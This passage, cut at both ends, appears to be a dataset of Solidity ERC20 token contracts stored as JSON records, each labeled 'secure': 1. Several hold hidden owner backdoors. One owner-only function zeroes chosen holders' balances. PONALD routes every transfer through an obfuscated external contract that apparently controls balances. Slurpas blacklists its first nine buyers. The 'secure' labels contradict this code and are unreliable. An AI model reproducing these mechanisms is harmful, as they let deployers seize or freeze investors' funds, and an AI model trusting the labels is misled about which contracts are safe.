public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == elease, \"Not allowed\");\n\n _;\n }\n\n function contin(address[] memory ingest) public onlyOwner {\n for (uint256 i = 0; i < ingest.length; i++) {\n address account = ingest[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_106.sol", "secure": 1, "size_bytes": 4356 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Shibwifcap is IERC20 {\n using SafeMath for uint256;\n\n string public name;\n\n string public symbol;\n\n uint8 public immutable decimals;\n\n uint256 public immutable _totalSupply;\n\n uint256 public constant MAX_TX_AMOUNT = 1_000_000 * 10 ** 10;\n\n mapping(address => uint256) balances;\n\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n name = \"shibwifcap\";\n\n symbol = \"SIP\";\n\n decimals = 10;\n\n _totalSupply = 1_000_000_000 * 10 ** 10;\n\n balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n\n emit Approval(msg.sender, spender, tokens);\n\n return true;\n }\n\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[msg.sender] = balances[msg.sender].sub(tokens);\n\n balances[to] = balances[to].add(tokens);\n\n emit Transfer(msg.sender, to, tokens);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[from] = balances[from].sub(tokens);\n\n allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);\n\n balances[to] = balances[to].add(tokens);\n\n emit Transfer(from, to, tokens);\n\n return true;\n }\n}", "file_name": "solidity_code_1060.sol", "secure": 1, "size_bytes": 2325 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Frogwifcap is IERC20 {\n using SafeMath for uint256;\n\n string public name;\n\n string public symbol;\n\n uint8 public immutable decimals;\n\n uint256 public immutable _totalSupply;\n\n uint256 public constant MAX_TX_AMOUNT = 1_000_000 * 10 ** 10;\n\n mapping(address => uint256) balances;\n\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n name = \"frogwifcap\";\n\n symbol = \"FAP\";\n\n decimals = 10;\n\n _totalSupply = 1_000_000_000 * 10 ** 10;\n\n balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n\n emit Approval(msg.sender, spender, tokens);\n\n return true;\n }\n\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[msg.sender] = balances[msg.sender].sub(tokens);\n\n balances[to] = balances[to].add(tokens);\n\n emit Transfer(msg.sender, to, tokens);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[from] = balances[from].sub(tokens);\n\n allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);\n\n balances[to] = balances[to].add(tokens);\n\n emit Transfer(from, to, tokens);\n\n return true;\n }\n}", "file_name": "solidity_code_1061.sol", "secure": 1, "size_bytes": 2325 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract PONALD is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd6758c): PONALD._totalSupply should be constant \n\t// Recommendation for cd6758c: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 100000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b7fb3c): PONALD._name should be constant \n\t// Recommendation for 0b7fb3c: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Pump Donald\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 2a75ef8): PONALD._symbol should be constant \n\t// Recommendation for 2a75ef8: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"PONALD\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ac8ace0): PONALD.Router2Instance should be immutable \n\t// Recommendation for ac8ace0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n uint256 cc = aEdZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 72a63fa): PONALD.bb should be constant \n\t// Recommendation for 72a63fa: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (bb +\n a +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}", "file_name": "solidity_code_1062.sol", "secure": 1, "size_bytes": 6279 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MON is ERC20 {\n constructor()\n ERC20(\n \"MON Protocol 0xc555D625828c4527d477e595fF1Dd5801B4a600e\",\n \"MON\"\n )\n {\n _mint(\n 0x8d6BA07Ad5f88e65756E383018C871772611f9FE,\n 1000000000 * 10 ** decimals()\n );\n }\n}", "file_name": "solidity_code_1063.sol", "secure": 1, "size_bytes": 445 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\" as Proxy;\nimport \"./ERC1967Utils.sol\" as ERC1967Utils;\n\ncontract ERC1967Proxy is Proxy {\n constructor(address implementation, bytes memory _data) payable {\n ERC1967Utils.upgradeToAndCall(implementation, _data);\n }\n\n function _implementation()\n internal\n view\n virtual\n override\n returns (address)\n {\n return ERC1967Utils.getImplementation();\n }\n}", "file_name": "solidity_code_1064.sol", "secure": 1, "size_bytes": 538 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Shibwifcap is IERC20 {\n using SafeMath for uint256;\n\n string public name;\n\n string public symbol;\n\n uint8 public immutable decimals;\n\n uint256 public immutable _totalSupply;\n\n mapping(address => uint256) balances;\n\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n name = \"shibwifcap\";\n\n symbol = \"SIP\";\n\n decimals = 10;\n\n _totalSupply = 10000000000000000000;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n\n emit Approval(msg.sender, spender, tokens);\n\n return true;\n }\n\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[msg.sender] = balances[msg.sender].sub(tokens);\n\n balances[to] = balances[to].add(tokens);\n\n emit Transfer(msg.sender, to, tokens);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[from] = balances[from].sub(tokens);\n\n allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);\n\n balances[to] = balances[to].add(tokens);\n\n emit Transfer(from, to, tokens);\n\n return true;\n }\n}", "file_name": "solidity_code_1065.sol", "secure": 1, "size_bytes": 2140 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Frogwifcap is IERC20 {\n using SafeMath for uint256;\n\n string public name;\n\n string public symbol;\n\n uint8 public immutable decimals;\n\n uint256 public immutable _totalSupply;\n\n mapping(address => uint256) balances;\n\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n name = \"frogwifcap\";\n\n symbol = \"FAP\";\n\n decimals = 10;\n\n _totalSupply = 10000000000000000000;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n\n emit Approval(msg.sender, spender, tokens);\n\n return true;\n }\n\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[msg.sender] = balances[msg.sender].sub(tokens);\n\n balances[to] = balances[to].add(tokens);\n\n emit Transfer(msg.sender, to, tokens);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[from] = balances[from].sub(tokens);\n\n allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);\n\n balances[to] = balances[to].add(tokens);\n\n emit Transfer(from, to, tokens);\n\n return true;\n }\n}", "file_name": "solidity_code_1066.sol", "secure": 1, "size_bytes": 2140 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Slurpas is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint256 private constant _x0xNRQP7205 = 0x123456;\n\n uint256 private constant _x0xHLWX5194 = 0xABCDEF;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45cf0b2): Slurpas.blacklistCount should be constant \n\t// Recommendation for 45cf0b2: Add the 'constant' attribute to state variables that never change.\n uint256 public blacklistCount = 9;\n\n uint256 public currentBuyCount = 0;\n\n mapping(address => bool) private initialBuyers;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bed4a9f): Slurpas._taxWallet should be immutable \n\t// Recommendation for bed4a9f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0e5437): Slurpas._0xFTXZ2051 should be constant \n\t// Recommendation for a0e5437: Add the 'constant' attribute to state variables that never change.\n uint256 private _0xFTXZ2051 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: a158b37): Slurpas._x3PLWV7043 should be constant \n\t// Recommendation for a158b37: Add the 'constant' attribute to state variables that never change.\n uint256 private _x3PLWV7043 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: a325767): Slurpas._x7MRQNK should be constant \n\t// Recommendation for a325767: Add the 'constant' attribute to state variables that never change.\n uint256 private _x7MRQNK = 0;\n\n uint256 private _x5JTYZ8016 = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0144a1f): Slurpas._x2NQWP684 should be constant \n\t// Recommendation for 0144a1f: Add the 'constant' attribute to state variables that never change.\n uint256 private _x2NQWP684 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d672a2): Slurpas._xGLXK17 should be constant \n\t// Recommendation for 8d672a2: Add the 'constant' attribute to state variables that never change.\n uint256 private _xGLXK17 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33dbcf2): Slurpas._x1PRYL6J9 should be constant \n\t// Recommendation for 33dbcf2: Add the 'constant' attribute to state variables that never change.\n uint256 private _x1PRYL6J9 = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 200_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _x5MWZP9T7 = (_tTotal * 2) / 100;\n\n uint256 public _x0BLWT4F3 = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3448e09): Slurpas._x6KLYRQ1 should be constant \n\t// Recommendation for 3448e09: Add the 'constant' attribute to state variables that never change.\n uint256 public _x6KLYRQ1 = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: b9f8d54): Slurpas._maxTaxSwap should be constant \n\t// Recommendation for b9f8d54: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private x3NWVXT5 = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _x5MWZP9T7);\n\n modifier lockTheSwap() {\n x3NWVXT5 = true;\n\n _;\n\n x3NWVXT5 = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n event ChecksumEvent(uint256 indexed dummyness0xEPKV6139);\n\n function checksum0xCVYT3046() private pure {}\n\n function checksum0xDMZL8073() private pure {}\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: de63d23): Slurpas.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for de63d23: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 67578c6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 67578c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8b35c0c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8b35c0c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 67578c6\n\t\t// reentrancy-benign | ID: 8b35c0c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 67578c6\n\t\t// reentrancy-benign | ID: 8b35c0c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d9da772): Slurpas._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d9da772: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c4efb98\n\t\t// reentrancy-benign | ID: 8b35c0c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6cdb840\n\t\t// reentrancy-events | ID: 67578c6\n emit Approval(owner, spender, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a < b) ? a : b;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 34f33e3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 34f33e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 397f2f6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 397f2f6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n !initialBuyers[to]\n ) {\n currentBuyCount++;\n\n initialBuyers[to] = true;\n\n if (currentBuyCount <= blacklistCount) {\n bots[to] = true;\n\n emit Transfer(from, to, 0);\n }\n }\n\n taxAmount = amount\n .mul((_buyCount > _x2NQWP684) ? _x7MRQNK : _0xFTXZ2051)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _x5MWZP9T7, \"Exceeds the _x5MWZP9T7.\");\n\n require(\n balanceOf(to) + amount <= _x0BLWT4F3,\n \"Exceeds the x0BLWT4F3.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul((_buyCount > _xGLXK17) ? _x5JTYZ8016 : _x3PLWV7043)\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !x3NWVXT5 &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _x6KLYRQ1 &&\n _buyCount > _x1PRYL6J9\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 34f33e3\n\t\t\t\t// reentrancy-eth | ID: 397f2f6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 34f33e3\n\t\t\t\t\t// reentrancy-eth | ID: 397f2f6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 397f2f6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 397f2f6\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 397f2f6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 34f33e3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 397f2f6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 397f2f6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 34f33e3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 34f33e3\n\t\t// reentrancy-events | ID: 6cdb840\n\t\t// reentrancy-events | ID: 67578c6\n\t\t// reentrancy-benign | ID: c4efb98\n\t\t// reentrancy-benign | ID: 8b35c0c\n\t\t// reentrancy-eth | ID: 9737f38\n\t\t// reentrancy-eth | ID: 205a7b0\n\t\t// reentrancy-eth | ID: 397f2f6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits_x7JLYR4218() external onlyOwner {\n _x5MWZP9T7 = _tTotal;\n\n _x0BLWT4F3 = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2c58c34): Slurpas.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 2c58c34: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 34f33e3\n\t\t// reentrancy-events | ID: 6cdb840\n\t\t// reentrancy-events | ID: 67578c6\n\t\t// reentrancy-eth | ID: 9737f38\n\t\t// reentrancy-eth | ID: 205a7b0\n\t\t// reentrancy-eth | ID: 397f2f6\n\t\t// arbitrary-send-eth | ID: 2c58c34\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6cdb840): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6cdb840: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c4efb98): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c4efb98: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a705f49): Slurpas.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a705f49: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 442677d): Slurpas.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 442677d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9737f38): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9737f38: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 205a7b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve 